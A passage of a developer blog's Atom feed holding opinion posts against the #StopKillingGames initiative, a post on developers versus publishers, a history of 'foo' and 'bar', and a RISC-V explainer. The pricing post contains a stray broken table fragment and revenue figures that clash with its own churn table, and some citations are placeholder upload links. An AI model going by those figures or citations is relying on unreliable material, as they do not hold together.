<p><a href="https://dev.to/snyk/npm-security-preventing-supply-chain-attacks-4ln9">https://dev.to/snyk/npm-security-preventing-supply-chain-attacks-4ln9</a>
<a href="https://jamie.build/how-to-build-an-npm-worm">https://jamie.build/how-to-build-an-npm-worm</a>
<a href="https://docs.npmjs.com/cli/v10/using-npm/scripts/">https://docs.npmjs.com/cli/v10/using-npm/scripts/</a>
<a href="https://cloud.google.com/blog/topics/threat-intelligence/supply-chain-node-js/">https://cloud.google.com/blog/topics/threat-intelligence/supply-chain-node-js/</a> <a href="https://auth0.com/blog/secure-nodejs-applications-from-supply-chain-attacks/">https://auth0.com/blog/secure-nodejs-applications-from-supply-chain-attacks/</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The Difference Between Publishers and Developers]]></title>
  <id>https://blog.skill-issue.dev/blog/skg_fixes/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/skg_fixes/"/>
  <published>2024-08-10T05:00:20.100Z</published>
  <updated>2024-08-10T05:00:20.100Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="gaming"/>
  <category term="videogames"/>
  <category term="stop killing games"/>
  <category term="game development"/>
  <category term="game industry"/>
  <category term="game design"/>
  <summary type="html"><![CDATA[Alot of the time whenever gamers have a problem they blame the developers. But who are they really mad at? Time to take a breath and actually learn who is doing what to whom and how often.]]></summary>
  <content type="html"><![CDATA[<p>Distinguishing Developers from Publishers in the Gaming Industry
A critical aspect often overlooked in discussions about gaming and especially right now with the <code>#StopKillingGames</code> initiative is the distinction between game developers and publishers. This differentiation is essential to understanding where decisions about game support and longevity actually originate.</p>
<p>Developers vs. Publishers:</p>
<p>Game Developers: These are the creative forces behind the games. They include software engineers, artists, writers, and designers who work to bring a game to life. Developers focus on the technical and creative aspects, translating concepts into playable experiences.</p>
<p>Game Publishers: Publishers handle the business side of gaming. They are responsible for marketing, distribution, and financial backing. Publishers make high-level decisions that can significantly influence a game&#39;s direction, such as budgets, release dates, and monetization strategies.</p>
<p>Impact of Publishers on Game Development:</p>
<p>Publishers often dictate key business decisions that affect game development. For example, they may delay a game’s release to maximize market impact or enforce specific monetization models like microtransactions, which can alter a game’s core experience.</p>
<p>Creative direction can also be influenced by publishers, who might push developers to align with market trends, sometimes leading to conflicts between the developers&#39; vision and business goals.</p>
<p>Public Perception and Misplaced Blame:</p>
<p>Gamers in my experience often use developers as a catchall for the villains, bearing the brunt of frustration over poor monetization practices and server shutdowns.</p>
<p>Gamers have sent death threats and harassed individual developers and artists rather than addressing the publishers or taking issue with the larger industry.</p>
<p>A gamer stubs their toe and it&#39;s suddenly the developer&#39;s fault, not the publisher, not poor internet, not a bad driver by their beloved graphics card manufacturer, not a bad bit of firmware from intel. No its the game developer&#39;s fault. Grow the F up.</p>
<p>Its the individual developers at Nintendo who are keeping you from playing your favorite classic game on an emulator not their publishing arm or legal suing every preservation effort into the dirt.</p>
<p>Understanding this distinction is crucial. While the #StopKillingGames initiative targets the cessation of game support, it is often the publishers, not the developers, who make these decisions. Therefore, any effective advocacy for game preservation must consider the roles and responsibilities of both developers and publishers, focusing on how they can collaboratively address these challenges.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Stop Killing Games: A Pricing thought Experiment]]></title>
  <id>https://blog.skill-issue.dev/blog/stop_killing_games_a_pricing_thought_experiment/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/stop_killing_games_a_pricing_thought_experiment/"/>
  <published>2024-08-08T17:47:49.101Z</published>
  <updated>2024-08-08T17:47:49.101Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="gaming"/>
  <category term="videogames"/>
  <category term="stop killing games"/>
  <category term="game development"/>
  <category term="game industry"/>
  <category term="game design"/>
  <summary type="html"><![CDATA[After talking with industry and business professionals a very interesting example or better yet expectation of what will happen was put forward by people in business.]]></summary>
  <content type="html"><![CDATA[<p>The gaming industry is facing a significant challenge as companies like Ubisoft are killing games that consumers have purchased, leaving players with no option but to abandon their investments. Ross Scott&#39;s &quot;Stop Killing Games&quot; initiative aims to address this issue by requiring publishers to clearly disclose whether a game relies on a server and what will happen when they end support. This initiative has sparked a thought-provoking discussion about the future of game pricing and ownership.</p>
<h2>The Current State of Game Ownership</h2>
<p>The current model of game ownership is often compared to leasing rather than owning. AAA companies want to control what players can do with the games they purchase, and this control can lead to the death of games when servers are shut down. This is called selling a license to a game or piece of software. Just like how you cannot buy digital movies or music, you instead license it for the duration of your lifetime or lifetime of the account. See Apple, Apple TV, Apple Music, YouTube Music, Netflix, Steam, Amazon Music, Amazon Kindle, Prime Video, and Spotify. All of these platforms do not sell you a digital product, they sell you a license to use/consume the software or digital goods product in compliance with their licensing agreement and platform terms of service.</p>
<h3>What consumers don&#39;t realize.</h3>
<p>Consumers do not realize that fundamentally this model is a license not a purchase. There is no right to repair or right to own. You fundamentally have different kind of product that does not fall under traditional consumer protections acts. The licensing model limits traditional consumer rights associated with physical ownership, such as the right to resell, lend, or bequeath digital content.</p>
<h2>A New Monetization Model: Transforming Game Sales into Lucrative Subscriptions</h2>
<p>The gaming industry is on the brink of a potential transformation in its monetization strategies, driven by the challenges posed by initiatives like <code>#StopKillingGames</code>. Industry professionals suggest a shift from a one-time purchase model to a subscription-based model, which could prove significantly more lucrative. This new model not only aligns with the demands of such initiatives but also offers a sustainable financial framework for publishers and studios. In this post, I will explore how this model could work, its financial implications, and why it might be a sound business practice. Though at the outset I should be clear; I abhor this model and its implications on consumers, but offer it as Occam&#39;s Razor solution to the game industries ever growing greed.</p>
<h2>The Subscription Model, plus the right to purchase.</h2>
<p>Just like with a car or any other licensed good it would logically come to pass that the consumer should have the right to purchase in it&#39;s entirety the game and all needed software, modifications, licenses, server binaries and in an ideal world; proper documentation to run it. Make no mistake this is the direction publishers will go as it is the same as any other leasing agreement. The option to purchase is and always has been a key part of most leasing agreements for products (housing is a different story). Great, lets look at this in a simplified use case.</p>
<h3>The Current Model</h3>
<p>As it stands a AAA game&#39;s base price is $80, for the most part this is an MMORPG which at that price includes the license to use and play the game for as long as the game exists and is supported; given that you the player does not violate the terms of service. This is a license to play the game, not a purchase of the game. That means based on historical examples like the Crew, we can expect a game to last a decade. That is a decade of gameplay for a one time purchase of base functionality for $80. Note, I am not making comment about ongoing monetization strategies like micro-transactions or battle passes or expansions etc.</p>
<p>The new model would mean that the company would need to decide, develop and then build a version of the game capable of running independently of the publisher. That is fundamentally what you are asking. Wether that means that the game must be rewritten to function in single player mode or that their server binaries be released or they offer a license to lease private docker container images or something. They have to go through both the business and development costs of these solutions.</p>
<h3>The New Model</h3>
<p>What was proposed to me by bankers and business professionals was this. Let&#39;s sell the license for $80 a year or $7 a month ($84 a year) this means for the lifetime of the game we, the publishers, get to make $7 dollars off you, the gamer, for however long you play. Now, the game is published and in 4 years this initiative succeeds and a law is passed to the effect of &quot;Require video games sold to remain in a working state when support ends.&quot; The publisher of this game goes, <strong>fire sale</strong>. We will comply with this law and we spent $20 million USD over the last 4 years since release, developing this functionality and we are the only ones providing this game. So if you want to own this game and not just pay the license fee it will cost $800, right now, today only. But, hey you are a loyal customer who has been playing these 4 years since release so here&#39;s what I will do for you my extra special gamer. I will finance half of it for you.  Pay me $400 today and continue paying the liscense fee to play on our provided infrastructure, but half that $7 a month for the next 5 years will go to pay off your financing.  <strong>Ta-Da</strong>, game publishers can cover the cost of complying with the letter of the law endorsed by this misguided initative and increase their profits. Win-Win for them. Loose-Loose for you. Because guess what, you financed this purchase with your subscription. So say something happens the game dies out in year 6. There is no more online play the server and support are shut down. No big deal you have an official offline copy... that is still costing you $7 a month for next 3 years (the rest of the 5 year financing term), regardless of the state of the game or publisher. You will literally be paying a subscription while having to host games on your own infra and the publisher will continue to make money off.</p>
<h3><strong>Financial Breakdown</strong></h3>
<p>To illustrate the financial impact, consider a game with an initial player base of 1 million. Here&#39;s a comparison of revenue generated under different scenarios:</p>
<table>
<thead>
<tr>
<th><strong>Scenario</strong></th>
<th><strong>Initial Sale</strong></th>
<th><strong>Total Subscription Revenue Over 10 Years</strong></th>
<th><strong>Revenue from 1% Conversion to Purchase</strong></th>
<th><strong>Revenue from 10% Conversion to Purchase</strong></th>
<th><strong>Total Revenue</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>Current Model</strong></td>
<td>$80 million</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>$80 million + Other methods</td>
</tr>
<tr>
<td><strong>Subscription Only</strong></td>
<td>$80 million</td>
<td>$840 million</td>
<td>N/A</td>
<td>N/A</td>
<td>$920 million</td>
</tr>
<tr>
<td><strong>1% Convert to Purchase at Year 4</strong></td>
<td>$80 million</td>
<td>$840 million</td>
<td>$8 million</td>
<td>N/A</td>
<td>$928 million</td>
</tr>
<tr>
<td><strong>10% Convert to Purchase at Year 4</strong></td>
<td>$80 million</td>
<td>$840 million</td>
<td>N/A</td>
<td>$80 million</td>
<td>$1.008 Billion</td>
</tr>
</tbody></table>
<p>-------|--------------------|--------------------------------|
| 1        | 1,000,000          | N/A                            |
| 2        | 600,000            | N/A                            |
| 3        | 360,000            | N/A                            |
| 4        | 216,000            | 21,600                         |
| 5-10     | Stabilizes         | Continuous Revenue             |</p>
<p>So maybe $800 seems steep to you... lets check the numbers it costs $20,000,000 USD extra to get the game into compliance and by year 4 for this fire sale 10% of the active player base is 21,600. So they would actually need to sell it for $925.93 just to break even.</p>
<h2><strong>Conclusion: Navigating the Future of Game Monetization</strong></h2>
<p>At the end of the day, the gaming industry&#39;s shift towards a subscription-based model, as a response to initiatives like <code>#StopKillingGames</code>, highlights the complex interplay between consumer demands, legislative pressures, and business sustainability. While the traditional model of game ownership provides a decade of gameplay for a one-time purchase, the proposed subscription model offers a continuous revenue stream, aligning with the initiative&#39;s requirements to maintain games in a functional state.</p>
<p>The financial analysis reveals that a subscription model, coupled with the option for players to purchase the game outright, can significantly increase revenue for publishers. This approach not only complies with the letter of potential laws but also capitalizes on the loyalty of dedicated players. However, it raises ethical concerns about consumer behaviour, as well as publisher pricing and the true cost of game ownership.</p>
<p>The potential for abuse, as highlighted by industry professionals, underscores the need for careful consideration of the implications of such initiatives. The risk of malicious actors exploiting these laws to force developers to release server binaries, thereby monetizing their work, presents a significant challenge.</p>
<p>Ultimately, the gaming industry must strike a balance between innovation, profitability, and consumer protection. Transparent communication about the nature of game licenses, combined with fair and sustainable monetization strategies, will be crucial in navigating this evolving landscape. By fostering open dialogue between developers, players, and policymakers, the industry can ensure a vibrant and equitable future for all stakeholders, all of which <code>#StopKillingGames</code> fails to do.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The Flaws of the #StopKillingGames Initiative: A Developer’s Perspective]]></title>
  <id>https://blog.skill-issue.dev/blog/stop_killing_games/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/stop_killing_games/"/>
  <published>2024-08-08T08:55:31.592Z</published>
  <updated>2024-08-08T10:45:31.592Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="gaming"/>
  <category term="videogames"/>
  <category term="stop killing games"/>
  <category term="game development"/>
  <category term="game industry"/>
  <category term="game design"/>
  <summary type="html"><![CDATA[Surprise, I am not a fan of the Stop Killing Games initiative. It is a flawed approach to addressing the issues in the gaming industry. Let me explain why.]]></summary>
  <content type="html"><![CDATA[<p>As a senior software engineer with years of experience in the industry and as a gamer, I feel compelled to address the recent <code>#StopKillingGames</code> initiative and explain why I believe it is fundamentally misguided. After carefully reviewing the arguments presented by proponents of this initiative, such as Ross Scott (aka Accursed Farms), and the counterarguments made by industry professionals like Thor (aka Pirate Software), I am convinced that this initiative fails to consider the realities of game development and could potentially harm both developers and players.</p>
<h2>The Initiative&#39;s Unrealistic Expectations</h2>
<p>One of the primary requirements of the <code>#StopKillingGames</code> initiative is that games must be left in a functional, playable state indefinitely, even after the developers decide to cease support[6]. While this may seem like a great goal, it is simply not feasible for many online-only live service games. Maintaining servers and infrastructure for games with dwindling player bases is economically unsustainable[1]. Forcing developers to release server binaries or carve off single-player experiences would not only be a massive undertaking but could also leave them vulnerable to abuse and unauthorized monetization of their intellectual property[1].</p>
<p>Furthermore, the initiative&#39;s FAQ fails to provide a realistic solution for large-scale MMORPGs[7]. Running these games requires significant resources and expertise that cannot be easily handed over to players when servers are shut down. The suggestion that developers should incorporate offline functionality or server hosting tools from the design phase onward[7] is an unreasonable burden that would stifle innovation and limit the types of games being created.</p>
<h2>Misunderstanding the Economics of Game Development</h2>
<p>The initiative fails to recognize the economic realities of game development, particularly for live service games such as MMOs and multiplayer online titles. These games require significant ongoing resources to maintain, and as player interest wanes, the cost of keeping them online often outweighs the benefits[1][9]. Mandating that developers maintain these games indefinitely could discourage the creation of new live service experiences, ultimately limiting player choice[1].</p>
<p>Moreover, the initiative&#39;s proponents seem to misunderstand the nature of microtransactions and in-game purchases. While these revenue streams are indeed crucial for live service games[9], they are not a guarantee of indefinite profitability. As player bases dwindle, so does the revenue generated from these sources, making it financially unfeasible to continue supporting the game[9].</p>
<p>Regardless of these points it fundamentally misses the point. That games are hard to make. That they are a risky undertaking to finance, build and sell. The end goal of the initiative in it&#39;s current state will make online first games even riskier limiting who will take that risk and ultimately what games will get made.</p>
<h3>Vague Language and Lack of Focus</h3>
<p>Another major issue with the initiative is its vague language and lack of focus on specific problematic business practices. Instead of targeting the entire gaming industry, efforts should be directed at instances where games are misleadingly marketed or where online-only requirements are unnecessarily imposed on single-player experiences[1]. By casting such a wide net, the initiative risks causing unintended consequences and harming developers who are acting in good faith[1].</p>
<p>The initiative&#39;s website[6] and FAQ[7] fail to provide clear guidelines on what constitutes a &quot;playable state&quot; or how developers should implement offline functionality. This ambiguity leaves room for misinterpretation and could lead to a situation where developers are forced to invest resources into features that do not align with their creative vision or the game&#39;s intended experience.</p>
<h3>The Importance of Clear Communication</h3>
<p>As developers, we have a responsibility to clearly communicate the nature of the games we create, especially when it comes to live service titles. Arguably, we play little to no role in the marketing and sale of the game, however we should be holding our counterparts in the Publishers accountable. Players should be explicitly informed that they are purchasing a license to access the game rather than buying the game outright[1]. This distinction is crucial, as it helps manage expectations and ensures that players understand the potential for games to be shut down or have their licenses revoked due to cheating or other violations of the terms of service[1].</p>
<p>While the initiative&#39;s proponents argue that the way games are sold and conveyed to players is problematic[5], the solution lies in promoting transparency and educating consumers rather than imposing blanket regulations on the industry. Publishers should be encouraged to clearly state the expected lifespan of their games and the conditions under which they may become unplayable, allowing players to make informed decisions about their purchases.</p>
<h3>Preserving Gaming History Responsibly</h3>
<p>While the initiative claims to be about game preservation, its proposed methods are flawed. Preserving online-only games in a state where they have few active players does not accurately capture the essence of what made these games special in the first place[1]. The social interactions and dynamic experiences that define these games cannot be replicated by simply making them playable offline or on private servers with a handful of players[1].</p>
<p>Moreover, the initiative&#39;s focus on preserving games in their original form fails to account for the evolving nature of the medium. Games are not static artifacts but living, breathing creations that change over time as developers release updates and patches[1]. By fixating on preserving games in their launch state, the initiative risks stifling the creativity and innovation that drive the industry forward.</p>
<img src="https://i.ytimg.com/vi/6zD_847Sy1Q/maxresdefault.jpg">

<p>This initiative is fundamentally not about preserving gaming history or anything so noble or academic; it is born from a temper tantrum and the twisting of French consumer law to serve the interests of a vocal minority at the expense of everyone else. The <code>#StopKillingGames</code> initiative claims to advocate for consumer protection and game preservation, but its underlying motivations appear to be rooted in dissatisfaction with the natural lifecycle of live service games and a desire to exert control over creative and business practices in the gaming industry.</p>
<p>Moreover, the use of consumer protection laws to achieve the goals of the <code>#StopKillingGames</code> initiative raises questions about the appropriateness of such legal actions and their potential unintended consequences. Consumer protection laws are designed to safeguard the rights of consumers, but their application in this context may be questionable and could potentially lead to negative outcomes for the industry and consumers alike.</p>
<p>Instead of forcing developers to maintain games indefinitely, we should focus on supporting efforts to document and archive the history of these titles in a way that respects the creators&#39; intellectual property rights and the realities of the industry[1]. Initiatives like the Video Game History Foundation[4] and the Internet Archive[4] are already doing valuable work in this area, and their efforts should be supported and expanded.</p>
<h3>The Dangerous Implications of Forced Server Binary Releases</h3>
<p>One of the most alarming points raised by myself and others is the potential for abuse that the <code>#StopKillingGames</code> initiative could enable. Under the proposed requirements, developers would be legally compelled to release server binaries or keep games in a functional, playable state indefinitely. This opens the door for bad actors to deliberately target and attack game studios, with the goal of forcing them to release their intellectual property. Thor had great examples like TF2. See below.</p>
<h4>Condsider this scenario:</h4>
<p>A malicious individual or group decides to target a specific game studio. They begin by bombarding the studio&#39;s live service game with bots, exploits, and attacks on the game&#39;s community. They flood forums and social media with negativity, driving away legitimate players and making it increasingly costly for the studio to maintain the game. As the player base dwindles and the studio&#39;s resources are drained, they may be forced to shut down the game.</p>
<p>Under the <code>#StopKillingGames</code> initiative, the studio would then be legally required to release the game&#39;s server binaries. The attackers, having successfully driven the studio to this point, can now take those binaries and create their own private server, monetizing the studio&#39;s work for their own gain. This is not a hypothetical situation; as Thor points out, we&#39;ve seen similar tactics used in the past, such as the bot attacks on Team Fortress 2.</p>
<p>This legislation would essentially make it legal for bad actors to deliberately destroy a company and take their work. It&#39;s a dangerous precedent that could have a chilling effect on the entire gaming industry. Studios would be hesitant to create live service games, knowing that they could be targeted and forced to give up their intellectual property. This would limit innovation and creativity, ultimately harming both developers and players.</p>
<p>It&#39;s crucial that any initiative or legislation aimed at protecting consumers takes into account the potential for abuse. The <code>#StopKillingGames</code> initiative, as it is currently written, fails to do so. By compelling developers to release server binaries, it creates a system that can be exploited by those with malicious intent. This is not a solution to the problem of games being shut down; it&#39;s a recipe for disaster that could have far-reaching consequences for the industry as a whole.</p>
<h3>The Dangers of Misrepresenting the Initiative</h3>
<p>Finally, I find the tactics used by some proponents of the initiative, such as Ross Scott, to be disingenuous and potentially harmful. Suggesting that politicians will blindly support the initiative because they don&#39;t care about the gaming industry and that it&#39;s an easy win for them[2] is not only inaccurate but also sets a dangerous precedent. The gaming industry is a significant contributor to the global economy[8], and politicians are unlikely to make decisions that could harm its growth and innovation without careful consideration.</p>
<p>Furthermore, the comparison to loot box laws[7] is misleading, as those regulations targeted a specific predatory practice rather than imposing broad requirements on game development and preservation. If we are to advocate for change, we must do so in a way that is honest, well-informed, and respectful of all stakeholders involved.</p>
<h3>Wrapping Up</h3>
<p>At the end of the day, while I appreciate the sentiment behind the <code>#StopKillingGames</code> initiative, I cannot support it in its current form. The initiative&#39;s unrealistic expectations, misunderstanding of game development economics, vague language, and misguided preservation methods make it a flawed approach to addressing the issues it aims to tackle.</p>
<p>As a developer who is passionate about creating meaningful experiences, I believe that our focus should be on promoting clear communication, encouraging responsible preservation efforts, and targeting specific problematic practices rather than broadly condemning the entire industry. By working together and engaging in honest, nuanced discussions, we can find solutions that protect both players and developers while fostering a vibrant and innovative gaming landscape for years to come.</p>
<h3>Citations:</h3>
<p>[1] <a href="https://www.reddit.com/r/pcgaming/comments/1elgpii/stop_killing_games_an_opposite_opinion_from/">https://www.reddit.com/r/pcgaming/comments/1elgpii/stop_killing_games_an_opposite_opinion_from/</a></p>
<p>[2] <a href="https://www.stopkillinggames.com">https://www.stopkillinggames.com</a></p>
<p>[3] <a href="https://www.reddit.com/r/ffxiv/comments/1ejqjxm/the_european_initiative_stop_killing_games_is_up/">https://www.reddit.com/r/ffxiv/comments/1ejqjxm/the_european_initiative_stop_killing_games_is_up/</a></p>
<p>[4] <a href="https://news.ycombinator.com/item?id=41159063">https://news.ycombinator.com/item?id=41159063</a></p>
<p>[5] <a href="https://www.ign.com/articles/how-stop-killing-games-ups-the-ante-in-the-fight-for-video-game-preservation">https://www.ign.com/articles/how-stop-killing-games-ups-the-ante-in-the-fight-for-video-game-preservation</a></p>
<p>[6] <a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files">https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files</a></p>
<p>[7] <a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files">https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files</a></p>
<p>[8] <a href="https://www.stopkillinggames.com">https://www.stopkillinggames.com</a></p>
<p>[9] <a href="https://youtu.be/mkMe9MxxZiI">https://youtu.be/mkMe9MxxZiI</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Origins of Foo and Bar]]></title>
  <id>https://blog.skill-issue.dev/blog/origins_of_foo_and_bar/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/origins_of_foo_and_bar/"/>
  <published>2024-07-25T15:27:57.520Z</published>
  <updated>2024-07-25T15:27:57.521Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="variables"/>
  <category term="programming"/>
  <category term="history"/>
  <category term="culture"/>
  <summary type="html"><![CDATA[Foo and Bar where did they come from?]]></summary>
  <content type="html"><![CDATA[<p><strong>Origins of Foo and Bar</strong></p>
<p>Foo and bar, are ubiquitous metasyntactic variables and have been a staple in computer programming and documentation for decades. Their origins, however, are shrouded in mystery and steeped in history. In this article, we delve into the fascinating story behind these seemingly innocuous terms.</p>
<h2>Early Beginnings</h2>
<p>The Tech Model Railroad Club (TMRC) at MIT played a crucial role in popularizing &quot;foo&quot; and &quot;bar&quot; as metasyntactic variables in programming. The earliest documented use of &quot;foo&quot; in a technical context can be traced back to the 1959 Dictionary of the TMRC Language, where it was defined as &quot;The first syllable of the misquoted sacred chant phrase &#39;foo mane padme hum.&#39; Our first obligation is to keep the foo counters turning.&quot;</p>
<p>The TMRC&#39;s complex model railroad system featured &quot;scram switches&quot; that could be activated to stop trains in case of emergencies. When triggered, these switches would display &quot;FOO&quot; on a digital clock, leading to their nickname &quot;Foo switches&quot;. This usage in the TMRC likely contributed to the term&#39;s adoption in early programming circles at MIT.</p>
<p>The club&#39;s influence extended beyond just &quot;foo&quot;. An entry in the Abridged Dictionary of the TMRC Language describes a &quot;Multiflush&quot; button, also called &quot;FOO&quot;, which would stop all trains and display &quot;FOO&quot; on the clock when used. This demonstrates how deeply ingrained the term was in the club&#39;s technical jargon.</p>
<p>MIT&#39;s broader computer science community further spread the use of these terms. The first known use of &quot;foo&quot; and &quot;bar&quot; in a programming context appeared in a 1965 edition of MIT&#39;s Tech Engineering News. This publication likely helped disseminate these terms to a wider audience of budding computer scientists and engineers.</p>
<p>The connection between the TMRC and early computer programming at MIT was significant. Many TMRC members were also involved in early computing projects, and the problem-solving skills honed through model railroading translated well to the emerging field of computer science. This crossover of personnel and ideas facilitated the transfer of &quot;foo&quot; and &quot;bar&quot; from the realm of model railroads to computer programming.</p>
<p>It&#39;s worth noting that while the TMRC was instrumental in popularizing &quot;foo&quot; and &quot;bar&quot; in technical contexts, the word &quot;foo&quot; itself had earlier origins in popular culture, appearing in the 1930s comic strip &quot;Smokey Stover&quot; by Bill Holman. The TMRC&#39;s adoption and repurposing of the term for technical use marks a significant point in its evolution towards becoming a standard metasyntactic variable in programming.</p>
<h2>LISP and Project MAC</h2>
<p>In the early 1960s, &quot;foo&quot; and &quot;bar&quot; gained popularity through their use in LISP (LISt Processing) programming language and Project MAC at MIT. The 1964 publication &quot;The Programming Language LISP: its Operation and Applications&quot; by Information International, Inc., included &quot;foo&quot; and &quot;bar&quot; among other metasyntactic variables such as &quot;baz&quot; and &quot;qux&quot;. This marked a significant milestone in the history of these terms.</p>
<h2>Cultural Significance</h2>
<p>The use of &quot;foo&quot; and &quot;bar&quot; transcended their technical origins, becoming an integral part of programming culture. They were often used in examples to demonstrate abstract concepts, such as inheritance and polymorphism, without being specific to any particular context. This tradition has been passed down through generations of programmers, with each new cohort adopting and adapting these terms.</p>
<h2>Controversy and Criticism</h2>
<p>Despite their widespread use, &quot;foo&quot; and &quot;bar&quot; have faced criticism for being confusing and distracting, particularly for beginners. Some argue that using descriptive names would be more effective in conveying the intended meaning, while others see the use of &quot;foo&quot; and &quot;bar&quot; as a necessary evil to avoid context-specific distractions.</p>
<h2>Legacy and Impact</h2>
<p>Today, &quot;foo&quot; and &quot;bar&quot; are an integral part of the programming lexicon, with their influence extending beyond technical circles. They have inspired names for conferences (Foo Camp and BarCamp), software applications (foobar2000), and even appeared in court proceedings (United States v. Microsoft Corp.).</p>
<p>In conclusion, the origins of &quot;foo&quot; and &quot;bar&quot; are deeply rooted in the early days of computer science, with their evolution shaped by the cultural and technical needs of programmers. While their use may be contentious, their significance in the history of programming cannot be overstated.</p>
<h2>References</h2>
<ul>
<li><p><a href="https://stackoverflow.com/questions/4868904/what-is-the-origin-of-foo-and-bar">https://stackoverflow.com/questions/4868904/what-is-the-origin-of-foo-and-bar</a></p>
</li>
<li><p><a href="https://www.reddit.com/r/learnprogramming/comments/mfoejc/extensive_use_of_foo_bar_in_examples/">https://www.reddit.com/r/learnprogramming/comments/mfoejc/extensive_use_of_foo_bar_in_examples/</a></p>
</li>
<li><p><a href="https://www.reddit.com/r/learnprogramming/comments/2jelzu/foo_bar_does_this_actually_help_anyone_ever/">https://www.reddit.com/r/learnprogramming/comments/2jelzu/foo_bar_does_this_actually_help_anyone_ever/</a> <a href="https://en.wikipedia.org/wiki/Foobar">https://en.wikipedia.org/wiki/Foobar</a></p>
</li>
<li><p><a href="https://softwareengineering.stackexchange.com/questions/69788/what-is-the-history-of-the-use-of-foo-and-bar-in-source-code-examples">https://softwareengineering.stackexchange.com/questions/69788/what-is-the-history-of-the-use-of-foo-and-bar-in-source-code-examples</a></p>
</li>
<li><p><a href="https://www.perplexity.ai/page/foo-bar-in-examples-comes-from-gifhbvkxSF2ZuC0y.2uIgg#6b30cc3d-4682-4908-9591-d39419799e55">https://www.perplexity.ai/page/foo-bar-in-examples-comes-from-gifhbvkxSF2ZuC0y.2uIgg#6b30cc3d-4682-4908-9591-d39419799e55</a></p>
</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[What is RISC V]]></title>
  <id>https://blog.skill-issue.dev/blog/what_is_risc_v/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/what_is_risc_v/"/>
  <published>2024-07-19T06:42:25.627Z</published>
  <updated>2024-07-19T06:42:25.628Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="risc v"/>
  <category term="risc-v"/>
  <category term="risc"/>
  <category term="isa"/>
  <category term="open-source"/>
  <category term="architecture"/>
  <category term="customizable"/>
  <category term="industry"/>
  <category term="applications"/>
  <category term="evolution"/>
  <category term="benefits"/>
  <summary type="html"><![CDATA[What is RISC V, why is it so cool? Why is it so important?]]></summary>
  <content type="html"><![CDATA[<h2>What is RISC-V?</h2>
<p>RISC-V is an open-source instruction set architecture (ISA) that has been gaining significant attention in the world of computer architecture. The &quot;V&quot; in RISC-V represents the fifth version of the RISC <code>Reduced Instruction Set Computing</code> architecture, which emphasizes simplicity and efficiency in instruction execution.</p>
<h3>Open-Source and Customizable</h3>
<p>One of the key features that sets RISC-V apart from proprietary architectures like ARM and x86 is its open-source nature. This means that anyone can implement RISC-V <em>without</em> needing to pay licensing fees, making it accessible to a wide range of developers, researchers, and companies. The open standard allows for customization and extension of the ISA, enabling designers to tailor processors to specific applications and optimize performance, power consumption, and area (PPA).</p>
<h3>History and Evolution</h3>
<p>RISC-V originated as a project at the University of California, Berkeley, and has since evolved into a global standard managed by RISC-V International, a non-profit organization with over 3,000 members. The standard is designed to provide a configurable and customizable solution for general-purpose processors, allowing users to add custom instructions and extensions.</p>
<h3>Benefits and Applications</h3>
<p>The open-source and customizable nature of RISC-V has led to its adoption in various industries, including embedded systems, microcontrollers, high-performance computing, and data centers. The architecture&#39;s flexibility and simplicity make it an attractive choice for researchers, startups, and established companies alike. RISC-V&#39;s popularity is expected to continue growing, with a projected compound annual growth rate of 35% through 2027.</p>
<h3>Why RISC-V Matters</h3>
<ul>
<li><strong>Open-source flexibility:</strong> RISC-V allows companies and individuals to design custom processors without the constraints of proprietary architectures.</li>
<li><strong>Cost-effective:</strong> The absence of licensing fees makes RISC-V an attractive option for startups and established companies alike.</li>
<li><strong>Innovation catalyst:</strong> The open nature of RISC-V encourages collaboration and rapid innovation in processor design.</li>
<li><strong>Customization:</strong> RISC-V&#39;s modular design allows for easy customization to suit specific application needs.</li>
</ul>
<h3>Why Should We Care?</h3>
<p>As software engineers, the rise of RISC-V presents exciting opportunities:</p>
<ul>
<li><strong>New development platforms:</strong> RISC-V boards like those from Milk-V offer affordable, open platforms for experimentation and development.</li>
<li><strong>Potential for specialized hardware:</strong> The ability to customize RISC-V processors could lead to more efficient, application-specific hardware.</li>
<li><strong>Democratization of hardware design:</strong> Open-source hardware based on RISC-V could lower barriers to entry for hardware startups and innovators.</li>
<li><strong>Cross-platform development:</strong> As RISC-V gains adoption, skills in developing for this architecture will become increasingly valuable.</li>
</ul>
<h3>Conclusion</h3>
<p>RISC-V is an important development in the world of computer architecture, offering a unique combination of openness, customizability, and simplicity. Its growing adoption and industry support make it a key player in shaping the future of computing. As the RISC-V ecosystem continues to evolve, it is likely to have a significant impact on the way we design and use processors in various applications.</p>
<h3>References</h3>
<ul>
<li>Synopsys. (n.d.). What is RISC-V? – How Does it Work? Retrieved from <a href="https://www.synopsys.com/glossary/what-is-risc-v.html">https://www.synopsys.com/glossary/what-is-risc-v.html</a></li>
<li>Codasip. (2022, September 22). 5 good things about RISC-V. Retrieved from <a href="https://codasip.com/2022/09/22/5-good-things-about-risc-v/">https://codasip.com/2022/09/22/5-good-things-about-risc-v/</a></li>
<li>Reddit. (2022, October 12). Eli5 - What is risc-v? Retrieved from <a href="https://www.reddit.com/r/explainlikeimfive/comments/y1snwo/eli5_what_is_riscv/">https://www.reddit.com/r/explainlikeimfive/comments/y1snwo/eli5_what_is_riscv/</a></li>
<li>RISC-V International. (n.d.). RISC-V International – RISC-V: The Open Standard RISC Instruction. Retrieved from <a href="https://riscv.org">https://riscv.org</a> RISC-V International. (2024, January 11).</li>
